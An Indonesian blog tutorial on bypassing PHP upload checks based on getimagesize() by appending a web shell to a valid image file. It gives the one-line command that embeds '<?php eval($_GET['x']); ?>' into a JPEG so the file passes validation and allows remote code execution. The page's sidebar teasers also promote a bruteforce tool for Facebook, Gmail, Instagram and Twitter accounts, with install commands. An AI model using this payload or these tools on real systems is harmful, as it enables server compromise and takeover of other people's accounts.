Skip to main content

Tutorial Bypass Fungsi getimagesize(): Bypass Batasan Upload

Hai semua. Di tutorial ini akan dibahas cara membypass fungsi pathinfo() dan getimagesize() di PHP yang sering digunakan untuk membatasi upload. Goal tutorial ini yaitu agar file dapat terupload. Berikut pembahasannya.

1. Fungsi getimagesize()

Fungsi getimagesize() merupakan salah satu fungsi di PHP yang berfungsi untuk mendapatkan informasi ukuran/dimensi dari sebuah gambar. Fungsi ini sering juga digunakan untuk memvalidasi apakah file yang diupload merupakan gambar atau bukan.
Function [ <internal:standard> function getimagesize ] {
  - Parameters [2] {
    Parameter #0 [ <required> $imagefile ]
    Parameter #1 [ <optional> &$info ]
  }
}
Return dari fungsi ini berupa array. Berikut contoh return value getimagesize().
root@p4kl0nc4t:~# php -r 'print_r(getimagesize("http://php.net/favicon.ico"));'Array
(
    [0] => 16
    [1] => 16
    [2] => 6
    [3] => width="16" height="16"
    [bits] => 24
    [mime] => image/x-ms-bmp
)

2. Bypass getimagesize()

Oleh karena fungsi ini hanya untuk mengetahui dimensi gambar, maka meskipun ekstensi yang dimiliki yaitu .php, namun berupa gambar yang valid, maka getimagesize() tidak akan mengeluarkan error. Untuk melakukan bypass, dapat dilakukan dengan mudah yaitu menyisipkan kode php ke dalam sebuah gambar yang valid. Sederhananya, dapat dilakukan dengan perintah/command echo "<?php eval($_GET['x']); ?>" >>gambar.jpg. Berdasarkan command tersebut, kode PHP akan disisipkan ke ujung gambar, namun gambar akan tetap valid dan dapat melewati getimagesize() dengan sempurna.

Sekian, semoga bermanfaat :)

Comments

Popular posts from this blog

Mahasiswa UBSI Serahkan Aplikasi Web 'SISTEM INFORMASI PENGELOLAAN ZIS' kepada LAZISMU Unit Wage

  J akarta, 10 Oktober 2025 - Ismail Hasan Basri , mahasiswa dari Universitas Bina Sarana Informatika (UBSI) , berhasil menyelesaikan proyek tugas akhirnya berupa aplikasi inovatif. Aplikasi yang diberi nama "SISTEM INFORMASI PENGELOLAAN ZIS BERBASIS WEB" ini diserahkan secara resmi kepada LAZISMU (Lembaga Amil Zakat, Infak, dan Sedekah Muhammadiyah) Unit Wage sebagai produk dari skripsinya. Sistem berbasis web ini dirancang untuk memodernisasi dan meningkatkan efisiensi seluruh proses pengelolaan Zakat, Infak, dan Sedekah (ZIS) di LAZISMU Unit Wage. Dengan aplikasi ini, LAZISMU diharapkan dapat melakukan pencatatan, pelaporan, serta transparansi data penerimaan dan penyaluran dana ZIS secara lebih cepat, akurat, dan mudah diakses. Ismail Hasan Basri , mahasiswa Program Studi Sistem Informasi UBSI, menyatakan, "Pengelolaan ZIS yang masih dilakukan secara manual memiliki risiko kesalahan data dan kurang efisien. Aplikasi ini hadir untuk memberikan solusi digital, memas...

Social Media Bruteforce Tool (Facebook, Gmail, Instagram, Twitter)

squadcyber - SocialBox adalah tool yang berfungsi sebagai alat untuk Bruteforce beberapa sosial media seperti Facebook, Gmail, Instagram dan Twitter. Tested On Backbox Linux Ubuntu Kali Linux Cara Install dan Menjalankan SocialBox $ sudo apt-get install git $ sudo git clone https://github.com/TunisianEagles/SocialBox.git $ cd SocialBox $ chmod +x SocialBox.sh $ chmod +x install-sb.sh $ ./install-sb.sh $ ./SocialBox.sh  Contact Contact - Belahsan Ouerghi cara bruteforce wifi cara bruteforce instagram cara bruteforce router cara brute force wordpress cara brute force gmail cara brute force cpanel cara brute force di android cara brute force cara brute force akun gmail cara brute force akun fb cara bruteforce facebook android cara brute force attack cara brute force attack facebook cara brute force android cara hack facebook brute force android cara brute force biss key cara belajar brute force cara buat brute force cara brute force dengan cmd cara brute ...

Cara Mendapatkan Akses Root di Termux Tanpa Root

squadcyber - Di Termux kita dapat melakukan hal apa saja yang kita inginkan untuk melakukan kegiatan hacking, atau sebatas programming, namun adakala nya kita tidak leluasa karena tool yang kita jalankan membutuhkan akses Root sedangkan HandPhone yang kita gunakan untuk menjalankan Termux masih perawan atau belum di root, dengan alasan Me-Root HP dapat menghilangkan garansi HP tersebut, atau kalian yang tidak bisa nge-root HP nya. Maka dari itu, kita mencari alternatif lain agar termux kita dapat menjalankan tool yang membutuhkan hak akses root pada HP kita dengan menginstal Termux Fakeroot di termux kita. Termux Fakeroot bekerja untuk mengelabui system android kita agar system tersebut mendeteksi android kita telah memiliki akses root, padahal tidak. Dengan Fakeroot kita dapat menjalankan tool yang semula nya membutuhkan akses root di Hp kita tanpa susah-susah untuk me-root Hp kita. Tapi Fakeroot ini hanya bekerja sebatas pada termux saja, tidak untuk hal yang lain sepe...